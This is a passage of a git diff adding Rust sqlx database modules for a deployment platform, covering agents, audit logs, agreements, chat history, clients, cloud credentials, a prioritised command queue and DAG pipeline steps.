{:?}", err); + "Failed to update heartbeat".to_string() + }) +} + +pub async fn update(pool: &PgPool, agent: models::Agent) -> Result { + let query_span = tracing::info_span!("Updating agent in database"); + sqlx::query_as::<_, models::Agent>( + r#" + UPDATE agents + SET capabilities = $2, version = $3, system_info = $4, + last_heartbeat = $5, status = $6, updated_at = NOW() + WHERE id = $1 + RETURNING id, deployment_hash, capabilities, version, system_info, + last_heartbeat, status, created_at, updated_at + "#, + ) + .bind(agent.id) + .bind(agent.capabilities) + .bind(agent.version) + .bind(agent.system_info) + .bind(agent.last_heartbeat) + .bind(agent.status) + .fetch_one(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to update agent: {:?}", err); + "Failed to update agent".to_string() + }) +} + +pub async fn delete(pool: &PgPool, agent_id: Uuid) -> Result<(), String> { + let query_span = tracing::info_span!("Deleting agent from database"); + sqlx::query!( + r#" + DELETE FROM agents WHERE id = $1 + "#, + agent_id, + ) + .execute(pool) + .instrument(query_span) + .await + .map(|_| ()) + .map_err(|err| { + tracing::error!("Failed to delete agent: {:?}", err); + "Failed to delete agent".to_string() + }) +} + +pub async fn log_audit( + pool: &PgPool, + audit_log: models::AuditLog, +) -> Result { + let query_span = tracing::info_span!("Inserting audit log"); + sqlx::query_as::<_, models::AuditLog>( + r#" + INSERT INTO audit_log (id, agent_id, deployment_hash, action, status, details, + ip_address, user_agent, created_at) + VALUES ($1, $2, $3, $4, $5, $6, $7::INET, $8, $9) + RETURNING id, agent_id, deployment_hash, action, status, details, + ip_address, user_agent, created_at + "#, + ) + .bind(audit_log.id) + .bind(audit_log.agent_id) + .bind(audit_log.deployment_hash) + .bind(audit_log.action) + .bind(audit_log.status) + .bind(audit_log.details) + .bind(audit_log.ip_address) + .bind(audit_log.user_agent) + .bind(audit_log.created_at) + .fetch_one(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to insert audit log: {:?}", err); + "Failed to log audit event".to_string() + }) +} diff --git a/stacker/stacker/src/db/agent_audit_log.rs b/stacker/stacker/src/db/agent_audit_log.rs new file mode 100644 index 0000000..7c4a81e --- /dev/null +++ b/stacker/stacker/src/db/agent_audit_log.rs @@ -0,0 +1,88 @@ +use crate::models::agent_audit_log::{AgentAuditLog, AuditBatchItem}; +use chrono::{TimeZone, Utc}; +use sqlx::PgPool; +use tracing::Instrument; + +/// Insert a batch of audit events for a given installation. +/// Returns the number of rows successfully inserted. +#[tracing::instrument(name = "Insert agent audit batch", skip(pool, events))] +pub async fn insert_batch( + pool: &PgPool, + installation_hash: &str, + events: &[AuditBatchItem], +) -> Result { + if events.is_empty() { + return Ok(0); + } + + let mut inserted: usize = 0; + let span = tracing::info_span!("Inserting audit events into database"); + + for event in events { + let created_at = Utc + .timestamp_opt(event.created_at, 0) + .single() + .unwrap_or_else(Utc::now); + + sqlx::query_as::<_, AgentAuditLog>( + r#" + INSERT INTO agent_audit_log + (installation_hash, event_type, payload, status_panel_id, created_at) + VALUES ($1, $2, $3, $4, $5) + RETURNING id, installation_hash, event_type, payload, status_panel_id, + received_at, created_at + "#, + ) + .bind(installation_hash) + .bind(&event.event_type) + .bind(&event.payload) + .bind(event.id) + .bind(created_at) + .fetch_one(pool) + .instrument(span.clone()) + .await + .map_err(|err| { + tracing::error!("Failed to insert audit event: {:?}", err); + err + })?; + + inserted += 1; + } + + Ok(inserted) +} + +/// Fetch recent audit events with optional filters. +/// `limit` is capped at 100. +#[tracing::instrument(name = "Fetch recent audit events", skip(pool))] +pub async fn fetch_recent( + pool: &PgPool, + installation_hash: Option<&str>, + event_type: Option<&str>, + limit: i64, +) -> Result, sqlx::Error> { + let limit = limit.min(100).max(1); + let span = tracing::info_span!("Querying agent_audit_log"); + + sqlx::query_as::<_, AgentAuditLog>( + r#" + SELECT id, installation_hash, event_type, payload, status_panel_id, + received_at, created_at + FROM agent_audit_log + WHERE ($1::TEXT IS NULL OR installation_hash = $1) + AND ($2::TEXT IS NULL OR event_type = $2) + ORDER BY received_at DESC + LIMIT $3 + "#, + ) + .bind(installation_hash) + .bind(event_type) + .bind(limit) + .fetch_all(pool) + .instrument(span) + .await + .map_err(|err| { + tracing::error!("Failed to fetch audit log: {:?}", err); + err + }) +} diff --git a/stacker/stacker/src/db/agreement.rs b/stacker/stacker/src/db/agreement.rs new file mode 100644 index 0000000..2bc582c --- /dev/null +++ b/stacker/stacker/src/db/agreement.rs @@ -0,0 +1,220 @@ +use crate::models; +use sqlx::PgPool; +use tracing::Instrument; + +pub async fn fetch(pool: &PgPool, id: i32) -> Result, String> { + tracing::info!("Fetch agreement {}", id); + sqlx::query_as!( + models::Agreement, + r#" + SELECT + * + FROM agreement + WHERE id=$1 + LIMIT 1 + "#, + id + ) + .fetch_one(pool) + .await + .map(|agreement| Some(agreement)) + .or_else(|err| match err { + sqlx::Error::RowNotFound => Ok(None), + e => { + tracing::error!("Failed to fetch agreement, error: {:?}", e); + Err("Could not fetch data".to_string()) + } + }) +} + +#[allow(dead_code)] +pub async fn fetch_by_user( + pool: &PgPool, + user_id: &str, +) -> Result, String> { + let query_span = tracing::info_span!("Fetch agreements by user id."); + sqlx::query_as!( + models::UserAgreement, + r#" + SELECT + * + FROM user_agreement + WHERE user_id=$1 + "#, + user_id + ) + .fetch_all(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to fetch agreement, error: {:?}", err); + "".to_string() + }) +} + +pub async fn fetch_by_user_and_agreement( + pool: &PgPool, + user_id: &str, + agreement_id: i32, +) -> Result, String> { + let query_span = tracing::info_span!("Fetch agreements by user id."); + sqlx::query_as!( + models::UserAgreement, + r#" + SELECT + * + FROM user_agreement + WHERE user_id=$1 + AND agrt_id=$2 + LIMIT 1 + "#, + user_id, + agreement_id + ) + .fetch_one(pool) + .instrument(query_span) + .await + .map(|agreement| Some(agreement)) + .or_else(|err| match err { + sqlx::Error::RowNotFound => Ok(None), + err => { + tracing::error!("Failed to fetch one agreement by name, error: {:?}", err); + Err("".to_string()) + } + }) +} +#[allow(dead_code)] +pub async fn fetch_one_by_name( + pool: &PgPool, + name: &str, +) -> Result, String> { + let query_span = tracing::info_span!("Fetch one agreement by name."); + sqlx::query_as!( + models::Agreement, + r#" + SELECT + * + FROM agreement + WHERE name=$1 + LIMIT 1 + "#, + name + ) + .fetch_one(pool) + .instrument(query_span) + .await + .map(|agreement| Some(agreement)) + .or_else(|err| match err { + sqlx::Error::RowNotFound => Ok(None), + err => { + tracing::error!("Failed to fetch one agreement by name, error: {:?}", err); + Err("".to_string()) + } + }) +} + +pub async fn insert( + pool: &PgPool, + mut agreement: models::Agreement, +) -> Result { + let query_span = tracing::info_span!("Saving new agreement into the database"); + sqlx::query!( + r#" + INSERT INTO agreement (name, text, created_at, updated_at) + VALUES ($1, $2, $3, $4) + RETURNING id; + "#, + agreement.name, + agreement.text, + agreement.created_at, + agreement.updated_at, + ) + .fetch_one(pool) + .instrument(query_span) + .await + .map(move |result| { + agreement.id = result.id; + agreement + }) + .map_err(|e| { + tracing::error!("Failed to execute query: {:?}", e); + "Failed to insert".to_string() + }) +} + +pub async fn insert_by_user( + pool: &PgPool, + mut item: models::UserAgreement, +) -> Result { + let query_span = tracing::info_span!("Saving new agreement into the database"); + sqlx::query!( + r#" + INSERT INTO user_agreement (agrt_id, user_id, created_at, updated_at) + VALUES ($1, $2, $3, $4) + RETURNING id; + "#, + item.agrt_id, + item.user_id, + item.created_at, + item.updated_at, + ) + .fetch_one(pool) + .instrument(query_span) + .await + .map(move |result| { + item.id = result.id; + item + }) + .map_err(|e| { + tracing::error!("Failed to execute query: {:?}", e); + "Failed to insert".to_string() + }) +} +pub async fn update( + pool: &PgPool, + mut agreement: models::Agreement, +) -> Result { + let query_span = tracing::info_span!("Updating agreement"); + sqlx::query_as!( + models::Agreement, + r#" + UPDATE agreement + SET + name=$2, + text=$3, + updated_at=NOW() at time zone 'utc' + WHERE id = $1 + RETURNING * + "#, + agreement.id, + agreement.name, + agreement.text, + ) + .fetch_one(pool) + .instrument(query_span) + .await + .map(|result| { + tracing::info!("Agreement {} has been saved to database", agreement.id); + agreement.updated_at = result.updated_at; + agreement + }) + .map_err(|err| { + tracing::error!("Failed to execute query: {:?}", err); + "".to_string() + }) +} + +#[tracing::instrument(name = "Delete user's agreement.")] +#[allow(dead_code)] +pub async fn delete(pool: &PgPool, id: i32) -> Result { + tracing::info!("Delete agreement {}", id); + sqlx::query::("DELETE FROM agreement WHERE id = $1;") + .bind(id) + .execute(pool) + .await + .map(|_| true) + .map_err(|err| { + tracing::error!("Failed to delete agreement: {:?}", err); + "Failed to delete agreement".to_string() + }) +} diff --git a/stacker/stacker/src/db/chat.rs b/stacker/stacker/src/db/chat.rs new file mode 100644 index 0000000..49d3a3e --- /dev/null +++ b/stacker/stacker/src/db/chat.rs @@ -0,0 +1,101 @@ +use crate::models::ChatConversation; +use serde_json::Value; +use sqlx::PgPool; + +pub async fn fetch( + pool: &PgPool, + user_id: &str, + project_id: Option, +) -> Result, sqlx::Error> { + match project_id { + Some(pid) => { + sqlx::query_as!( + ChatConversation, + r#"SELECT id, user_id, project_id, messages, created_at, updated_at + FROM chat_conversations + WHERE user_id = $1 AND project_id = $2"#, + user_id, + pid + ) + .fetch_optional(pool) + .await + } + None => { + sqlx::query_as!( + ChatConversation, + r#"SELECT id, user_id, project_id, messages, created_at, updated_at + FROM chat_conversations + WHERE user_id = $1 AND project_id IS NULL"#, + user_id + ) + .fetch_optional(pool) + .await + } + } +} + +pub async fn upsert( + pool: &PgPool, + user_id: &str, + project_id: Option, + messages: Value, +) -> Result { + match project_id { + Some(pid) => { + sqlx::query_as!( + ChatConversation, + r#"INSERT INTO chat_conversations (user_id, project_id, messages) + VALUES ($1, $2, $3) + ON CONFLICT (user_id, project_id) WHERE project_id IS NOT NULL + DO UPDATE SET messages = EXCLUDED.messages, updated_at = NOW() + RETURNING id, user_id, project_id, messages, created_at, updated_at"#, + user_id, + pid, + messages + ) + .fetch_one(pool) + .await + } + None => { + sqlx::query_as!( + ChatConversation, + r#"INSERT INTO chat_conversations (user_id, project_id, messages) + VALUES ($1, NULL, $2) + ON CONFLICT (user_id) WHERE project_id IS NULL + DO UPDATE SET messages = EXCLUDED.messages, updated_at = NOW() + RETURNING id, user_id, project_id, messages, created_at, updated_at"#, + user_id, + messages + ) + .fetch_one(pool) + .await + } + } +} + +pub async fn delete( + pool: &PgPool, + user_id: &str, + project_id: Option, +) -> Result { + let result = match project_id { + Some(pid) => { + sqlx::query!( + r#"DELETE FROM chat_conversations WHERE user_id = $1 AND project_id = $2"#, + user_id, + pid + ) + .execute(pool) + .await? + } + None => { + sqlx::query!( + r#"DELETE FROM chat_conversations WHERE user_id = $1 AND project_id IS NULL"#, + user_id + ) + .execute(pool) + .await? + } + }; + Ok(result.rows_affected()) +} diff --git a/stacker/stacker/src/db/client.rs b/stacker/stacker/src/db/client.rs new file mode 100644 index 0000000..a2b12cf --- /dev/null +++ b/stacker/stacker/src/db/client.rs @@ -0,0 +1,103 @@ +use crate::models; +use sqlx::PgPool; +use tracing::Instrument; + +pub async fn update(pool: &PgPool, client: models::Client) -> Result { + let query_span = tracing::info_span!("Updating client into the database"); + sqlx::query!( + r#" + UPDATE client + SET + secret=$1, + updated_at=NOW() at time zone 'utc' + WHERE id = $2 + "#, + client.secret, + client.id + ) + .execute(pool) + .instrument(query_span) + .await + .map(|_| { + tracing::info!("Client {} has been saved to the database", client.id); + client + }) + .map_err(|err| { + tracing::error!("Failed to execute query: {:?}", err); + "".to_string() + }) +} + +pub async fn fetch(pool: &PgPool, id: i32) -> Result, String> { + let query_span = tracing::info_span!("Fetching the client by ID"); + sqlx::query_as!( + models::Client, + r#" + SELECT + id, + user_id, + secret + FROM client c + WHERE c.id = $1 + LIMIT 1 + "#, + id, + ) + .fetch_one(pool) + .instrument(query_span) + .await + .map(|client| Some(client)) + .or_else(|e| match e { + sqlx::Error::RowNotFound => Ok(None), + s => { + tracing::error!("Failed to execute fetch query: {:?}", s); + Err("".to_string()) + } + }) +} + +pub async fn count_by_user(pool: &PgPool, user_id: &String) -> Result { + let query_span = tracing::info_span!("Counting the user's clients"); + + sqlx::query!( + r#" + SELECT + count(*) as client_count + FROM client c + WHERE c.user_id = $1 + "#, + user_id.clone(), + ) + .fetch_one(pool) + .instrument(query_span) + .await + .map(|result| result.client_count.unwrap()) + .map_err(|err| { + tracing::error!("Failed to execute query: {:?}", err); + "Internal Server Error".to_string() + }) +} + +pub async fn insert(pool: &PgPool, mut client: models::Client) -> Result { + let query_span = tracing::info_span!("Saving new client into the database"); + sqlx::query!( + r#" + INSERT INTO client (user_id, secret, created_at, updated_at) + VALUES ($1, $2, NOW() at time zone 'utc', NOW() at time zone 'utc') + RETURNING id + "#, + client.user_id.clone(), + client.secret, + ) + .fetch_one(pool) + .instrument(query_span) + .await + .map(move |result| { + client.id = result.id; + client + }) + .map_err(|e| { + tracing::error!("Failed to execute query: {:?}", e); + "Failed to insert".to_string() + }) +} diff --git a/stacker/stacker/src/db/cloud.rs b/stacker/stacker/src/db/cloud.rs new file mode 100644 index 0000000..3137b2e --- /dev/null +++ b/stacker/stacker/src/db/cloud.rs @@ -0,0 +1,173 @@ +use crate::models; +use sqlx::PgPool; +use tracing::Instrument; + +pub async fn fetch(pool: &PgPool, id: i32) -> Result, String> { + tracing::info!("Fetch cloud {}", id); + sqlx::query_as!( + models::Cloud, + r#"SELECT * FROM cloud WHERE id=$1 LIMIT 1 "#, + id + ) + .fetch_one(pool) + .await + .map(|cloud| Some(cloud)) + .or_else(|err| match err { + sqlx::Error::RowNotFound => Ok(None), + e => { + tracing::error!("Failed to fetch cloud, error: {:?}", e); + Err("Could not fetch data".to_string()) + } + }) +} + +pub async fn fetch_by_user(pool: &PgPool, user_id: &str) -> Result, String> { + let query_span = tracing::info_span!("Fetch clouds by user id."); + sqlx::query_as!( + models::Cloud, + r#" + SELECT + * + FROM cloud + WHERE user_id=$1 + "#, + user_id + ) + .fetch_all(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to fetch cloud, error: {:?}", err); + "".to_string() + }) +} + +pub async fn insert(pool: &PgPool, mut cloud: models::Cloud) -> Result { + let query_span = tracing::info_span!("Saving user's cloud data into the database"); + + // If no name provided, generate a unique default using a UUID suffix to + // avoid collisions on the (user_id, name) unique constraint. + let has_name = !cloud.name.is_empty(); + let insert_name = if has_name { + cloud.name.clone() + } else { + let suffix = uuid::Uuid::new_v4().to_string(); + format!("{}-{}", cloud.provider, &suffix[..8]) + }; + + let result = sqlx::query!( + r#" + INSERT INTO cloud ( + user_id, + name, + provider, + cloud_token, + cloud_key, + cloud_secret, + save_token, + created_at, + updated_at + ) + VALUES ($1, $2, $3, $4, $5, $6, $7, NOW() at time zone 'utc', NOW() at time zone 'utc') + RETURNING id; + "#, + cloud.user_id, + insert_name, + cloud.provider, + cloud.cloud_token, + cloud.cloud_key, + cloud.cloud_secret, + cloud.save_token + ) + .fetch_one(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("Failed to execute query: {:?}", e); + "Failed to insert".to_string() + })?; + + cloud.id = result.id; + + // Set the final name: "{provider}-{id}" for auto-generated names + let final_name = if has_name { + insert_name + } else { + format!("{}-{}", cloud.provider, cloud.id) + }; + cloud.name = final_name.clone(); + + // Persist the final name to the database + let update_span = tracing::info_span!("Updating cloud name after insert"); + sqlx::query!( + r#"UPDATE cloud SET name = $1 WHERE id = $2"#, + final_name, + cloud.id + ) + .execute(pool) + .instrument(update_span) + .await + .map_err(|e| { + tracing::warn!("Failed to update cloud name after insert: {:?}", e); + // Non-fatal: the row was inserted, name is just the temp placeholder + "Failed to update name".to_string() + })?; + + Ok(cloud) +} + +pub async fn update(pool: &PgPool, mut cloud: models::Cloud) -> Result { + let query_span = tracing::info_span!("Updating user cloud"); + sqlx::query_as!( + models::Cloud, + r#" + UPDATE cloud + SET + user_id=$2, + name=$3, + provider=$4, + cloud_token=$5, + cloud_key=$6, + cloud_secret=$7, + save_token=$8, + updated_at=NOW() at time zone 'utc' + WHERE id = $1 + RETURNING * + "#, + cloud.id, + cloud.user_id, + cloud.name, + cloud.provider, + cloud.cloud_token, + cloud.cloud_key, + cloud.cloud_secret, + cloud.save_token + ) + .fetch_one(pool) + .instrument(query_span) + .await + .map(|result| { + tracing::info!("Cloud info {} have been saved", cloud.id); + cloud.updated_at = result.updated_at; + cloud + }) + .map_err(|err| { + tracing::error!("Failed to execute query: {:?}", err); + "".to_string() + }) +} + +#[tracing::instrument(name = "Delete cloud of a user.")] +pub async fn delete(pool: &PgPool, id: i32, user_id: &str) -> Result { + tracing::info!("Delete cloud {}", id); + sqlx::query::("DELETE FROM cloud WHERE id = $1 AND user_id = $2;") + .bind(id) + .bind(user_id) + .execute(pool) + .await + .map(|r| r.rows_affected() > 0) + .map_err(|err| { + tracing::error!("Failed to delete cloud: {:?}", err); + "Failed to delete cloud".to_string() + }) +} diff --git a/stacker/stacker/src/db/command.rs b/stacker/stacker/src/db/command.rs new file mode 100644 index 0000000..4072cdb --- /dev/null +++ b/stacker/stacker/src/db/command.rs @@ -0,0 +1,452 @@ +use crate::models::{Command, CommandPriority, CommandStatus}; +use sqlx::types::JsonValue; +use sqlx::PgPool; +use tracing::Instrument; + +/// Insert a new command into the database +#[tracing::instrument(name = "Insert command into database", skip(pool))] +pub async fn insert(pool: &PgPool, command: &Command) -> Result { + let query_span = tracing::info_span!("Saving command to database"); + sqlx::query_as!( + Command, + r#" + INSERT INTO commands ( + id, command_id, deployment_hash, type, status, priority, + parameters, result, error, created_by, created_at, updated_at, + timeout_seconds, metadata + ) + VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14) + RETURNING id, command_id, deployment_hash, type, status, priority, + parameters, result, error, created_by, created_at, updated_at, + timeout_seconds, metadata + "#, + command.id, + command.command_id, + command.deployment_hash, + command.r#type, + command.status, + command.priority, + command.parameters, + command.result, + command.error, + command.created_by, + command.created_at, + command.updated_at, + command.timeout_seconds, + command.metadata, + ) + .fetch_one(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to insert command: {:?}", err); + format!("Failed to insert command: {}", err) + }) +} + +/// Add command to the queue +#[tracing::instrument(name = "Add command to queue", skip(pool))] +pub async fn add_to_queue( + pool: &PgPool, + command_id: &str, + deployment_hash: &str, + priority: &CommandPriority, +) -> Result<(), String> { + let query_span = tracing::info_span!("Adding command to queue"); + sqlx::query!( + r#" + INSERT INTO command_queue (command_id, deployment_hash, priority) + VALUES ($1, $2, $3) + "#, + command_id, + deployment_hash, + priority.to_int(), + ) + .execute(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to add command to queue: {:?}", err); + format!("Failed to add command to queue: {}", err) + }) + .map(|_| ()) +} + +/// Fetch next command for a deployment (highest priority, oldest first) +#[tracing::instrument(name = "Fetch next command for deployment", skip(pool))] +pub async fn fetch_next_for_deployment( + pool: &PgPool, + deployment_hash: &str, +) -> Result, String> { + let query_span = tracing::info_span!("Fetching next command from queue"); + sqlx::query_as!( + Command, + r#" + SELECT c.id, c.command_id, c.deployment_hash, c.type, c.status, c.priority, + c.parameters, c.result, c.error, c.created_by, c.created_at, c.updated_at, + c.timeout_seconds, c.metadata + FROM commands c + INNER JOIN command_queue q ON c.command_id = q.command_id + WHERE q.deployment_hash = $1 + ORDER BY q.priority DESC, q.created_at ASC + LIMIT 1 + "#, + deployment_hash, + ) + .fetch_optional(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to fetch next command: {:?}", err); + format!("Failed to fetch next command: {}", err) + }) +} + +/// Remove command from queue (after sending to agent) +#[tracing::instrument(name = "Remove command from queue", skip(pool))] +pub async fn remove_from_queue(pool: &PgPool, command_id: &str) -> Result<(), String> { + let query_span = tracing::info_span!("Removing command from queue"); + sqlx::query!( + r#" + DELETE FROM command_queue + WHERE command_id = $1 + "#, + command_id, + ) + .execute(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to remove command from queue: {:?}", err); + format!("Failed to remove command from queue: {}", err) + }) + .map(|_| ()) +} + +/// Update command status +#[tracing::instrument(name = "Update command status", skip(pool))] +pub async fn update_status( + pool: &PgPool, + command_id: &str, + status: &CommandStatus, +) -> Result { + let query_span = tracing::info_span!("Updating command status"); + sqlx::query_as!( + Command, + r#" + UPDATE commands + SET status = $2, updated_at = NOW() + WHERE command_id = $1 + RETURNING id, command_id, deployment_hash, type, status, priority, + parameters, result, error, created_by, created_at, updated_at, + timeout_seconds, metadata + "#, + command_id, + status.to_string(), + ) + .fetch_one(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to update command status: {:?}", err); + format!("Failed to update command status: {}", err) + }) +} + +/// Update command result and status +#[tracing::instrument(name = "Update command result", skip(pool))] +pub async fn update_result( + pool: &PgPool, + command_id: &str, + status: &CommandStatus, + result: Option, + error: Option, +) -> Result { + let query_span = tracing::info_span!("Updating command result"); + sqlx::query_as!( + Command, + r#" + UPDATE commands + SET status = $2, result = $3, error = $4, updated_at = NOW() + WHERE command_id = $1 + RETURNING id, command_id, deployment_hash, type, status, priority, + parameters, result, error, created_by, created_at, updated_at, + timeout_seconds, metadata + "#, + command_id, + status.to_string(), + result, + error, + ) + .fetch_one(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to update command result: {:?}", err); + format!("Failed to update command result: {}", err) + }) +} + +/// Update command result and merge metadata patch +#[tracing::instrument(name = "Update command result with metadata", skip(pool))] +pub async fn update_result_with_metadata( + pool: &PgPool, + command_id: &str, + status: &CommandStatus, + result: Option, + error: Option, + metadata: Option, +) -> Result { + let query_span = tracing::info_span!("Updating command result with metadata"); + sqlx::query_as::<_, Command>( + r#" + UPDATE commands + SET status = $2, + result = $3, + error = $4, + metadata = CASE + WHEN $5 IS NULL THEN metadata + ELSE COALESCE(metadata, '{}'::jsonb) || $5 + END, + updated_at = NOW() + WHERE command_id = $1 + RETURNING id, command_id, deployment_hash, type, status, priority, + parameters, result, error, created_by, created_at, updated_at, + timeout_seconds, metadata + "#, + ) + .bind(command_id) + .bind(status.to_string()) + .bind(result) + .bind(error) + .bind(metadata) + .fetch_one(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to update command result with metadata: {:?}", err); + format!("Failed to update command result with metadata: {}", err) + }) +} + +/// Fetch command by ID +#[tracing::instrument(name = "Fetch command by ID", skip(pool))] +pub async fn fetch_by_id(pool: &PgPool, id: &str) -> Result, String> { + let id = uuid::Uuid::parse_str(id).map_err(|err| { + tracing::error!("Invalid ID format: {:?}", err); + format!("Invalid ID format: {}", err) + })?; + + let query_span = tracing::info_span!("Fetching command by ID"); + sqlx::query_as!( + Command, + r#" + SELECT id, command_id, deployment_hash, type, status, priority, + parameters, result, error, created_by, created_at, updated_at, + timeout_seconds, metadata + FROM commands + WHERE id = $1 + "#, + id, + ) + .fetch_optional(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to fetch command: {:?}", err); + format!("Failed to fetch command: {}", err) + }) +} + +#[tracing::instrument(name = "Fetch command by command_id", skip(pool))] +pub async fn fetch_by_command_id( + pool: &PgPool, + command_id: &str, +) -> Result, String> { + let query_span = tracing::info_span!("Fetching command by command_id"); + sqlx::query_as!( + Command, + r#" + SELECT id, command_id, deployment_hash, type, status, priority, + parameters, result, error, created_by, created_at, updated_at, + timeout_seconds, metadata + FROM commands + WHERE command_id = $1 + "#, + command_id, + ) + .fetch_optional(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to fetch command: {:?}", err); + format!("Failed to fetch command: {}", err) + }) +} + +/// Fetch all commands for a deployment +#[tracing::instrument(name = "Fetch commands for deployment", skip(pool))] +pub async fn fetch_by_deployment( + pool: &PgPool, + deployment_hash: &str, +) -> Result, String> { + let query_span = tracing::info_span!("Fetching commands for deployment"); + sqlx::query_as!( + Command, + r#" + SELECT id, command_id, deployment_hash, type, status, priority, + parameters, result, error, created_by, created_at, updated_at, + timeout_seconds, metadata + FROM commands + WHERE deployment_hash = $1 + ORDER BY created_at DESC + "#, + deployment_hash, + ) + .fetch_all(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to fetch commands: {:?}", err); + format!("Failed to fetch commands: {}", err) + }) +} + +/// Fetch commands updated after a timestamp for a deployment +#[tracing::instrument(name = "Fetch command updates", skip(pool))] +pub async fn fetch_updates_by_deployment( + pool: &PgPool, + deployment_hash: &str, + since: chrono::DateTime, + limit: i64, +) -> Result, String> { + let query_span = tracing::info_span!("Fetching command updates for deployment"); + sqlx::query_as::<_, Command>( + r#" + SELECT id, command_id, deployment_hash, type, status, priority, + parameters, result, error, created_by, created_at, updated_at, + timeout_seconds, metadata + FROM commands + WHERE deployment_hash = $1 + AND updated_at > $2 + ORDER BY updated_at DESC + LIMIT $3 + "#, + ) + .bind(deployment_hash) + .bind(since) + .bind(limit) + .fetch_all(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to fetch command updates: {:?}", err); + format!("Failed to fetch command updates: {}", err) + }) +} + +/// Fetch recent commands for a deployment with optional result exclusion +#[tracing::instrument(name = "Fetch recent commands for deployment", skip(pool))] +pub async fn fetch_recent_by_deployment( + pool: &PgPool, + deployment_hash: &str, + limit: i64, + exclude_results: bool, +) -> Result, String> { + let query_span = tracing::info_span!("Fetching recent commands for deployment"); + + if exclude_results { + // Fetch commands without result/error fields to reduce payload size + sqlx::query_as::<_, Command>( + r#" + SELECT id, command_id, deployment_hash, type, status, priority, + parameters, NULL as result, NULL as error, created_by, created_at, updated_at, + timeout_seconds, metadata + FROM commands + WHERE deployment_hash = $1 + ORDER BY created_at DESC + LIMIT $2 + "#, + ) + .bind(deployment_hash) + .bind(limit) + .fetch_all(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to fetch recent commands: {:?}", err); + format!("Failed to fetch recent commands: {}", err) + }) + } else { + // Fetch commands with all fields including results + sqlx::query_as::<_, Command>( + r#" + SELECT id, command_id, deployment_hash, type, status, priority, + parameters, result, error, created_by, created_at, updated_at, + timeout_seconds, metadata + FROM commands + WHERE deployment_hash = $1 + ORDER BY created_at DESC + LIMIT $2 + "#, + ) + .bind(deployment_hash) + .bind(limit) + .fetch_all(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to fetch recent commands: {:?}", err); + format!("Failed to fetch recent commands: {}", err) + }) + } +} + +/// Cancel a command (remove from queue and mark as cancelled) +#[tracing::instrument(name = "Cancel command", skip(pool))] +pub async fn cancel(pool: &PgPool, command_id: &str) -> Result { + // Start transaction + let mut tx = pool.begin().await.map_err(|err| { + tracing::error!("Failed to start transaction: {:?}", err); + format!("Failed to start transaction: {}", err) + })?; + + // Remove from queue (if exists) + let _ = sqlx::query!( + r#" + DELETE FROM command_queue + WHERE command_id = $1 + "#, + command_id, + ) + .execute(&mut *tx) + .await; + + // Update status to cancelled + let command = sqlx::query_as!( + Command, + r#" + UPDATE commands + SET status = 'cancelled', updated_at = NOW() + WHERE command_id = $1 + RETURNING id, command_id, deployment_hash, type, status, priority, + parameters, result, error, created_by, created_at, updated_at, + timeout_seconds, metadata + "#, + command_id, + ) + .fetch_one(&mut *tx) + .await + .map_err(|err| { + tracing::error!("Failed to cancel command: {:?}", err); + format!("Failed to cancel command: {}", err) + })?; + + // Commit transaction + tx.commit().await.map_err(|err| { + tracing::error!("Failed to commit transaction: {:?}", err); + format!("Failed to commit transaction: {}", err) + })?; + + Ok(command) +} diff --git a/stacker/stacker/src/db/dag.rs b/stacker/stacker/src/db/dag.rs new file mode 100644 index 0000000..3bf04a4 --- /dev/null +++ b/stacker/stacker/src/db/dag.rs @@ -0,0 +1,321 @@ +use crate::models::dag::{DagEdge, DagStep, DagStepExecution}; +use sqlx::PgPool; +use tracing::Instrument; +use uuid::Uuid; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// DagStep queries +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[tracing::instrument(name = "Insert DAG step", skip(pool))] +pub async fn insert_step(pool: &PgPool, step: &DagStep) -> Result { + let span = tracing::info_span!("Saving DAG step to database"); + sqlx::query_as::<_, DagStep>( + r#" + INSERT INTO pipe_dag_steps (id, pipe_template_id, name, step_type, step_order, config, created_at, updated_at) + VALUES ($1, $2, $3, $4, $5, $6, $7, $8) + RETURNING id, pipe_template_id, name, step_type, step_order, config, created_at, updated_at + "#, + ) + .bind(step.id) + .bind(step.pipe_template_id) + .bind(&step.name) + .bind(&step.step_type) + .bind(step.step_order) + .bind(&step.config) + .bind(step.created_at) + .bind(step.updated_at) + .fetch_one(pool) + .instrument(span) + .await + .map_err(|err| { + tracing::error!("Failed to insert DAG step: {:?}", err); + format!("Failed to insert DAG step: {}", err) + }) +} + +#[tracing::instrument(name = "Fetch DAG step by ID", skip(pool))] +pub async fn get_step(pool: &PgPool, step_id: &Uuid) -> Result, String> { + let span = tracing::info_span!("Fetching DAG step by ID"); + sqlx::query_as::<_, DagStep>( + r#" + SELECT id, pipe_template_id, name, step_type, step_order, config, created_at, updated_at + FROM pipe_dag_steps WHERE id = $1 + "#, + ) + .bind(step_id) + .fetch_optional(pool) + .instrument(span) + .await + .map_err(|err| { + tracing::error!("Failed to fetch DAG step: {:?}", err); + format!("Failed to fetch DAG step: {}", err) + }) +} + +#[tracing::instrument(name = "List DAG steps for template", skip(pool))] +pub async fn list_steps(pool: &PgPool, template_id: &Uuid) -> Result, String> { + let span = 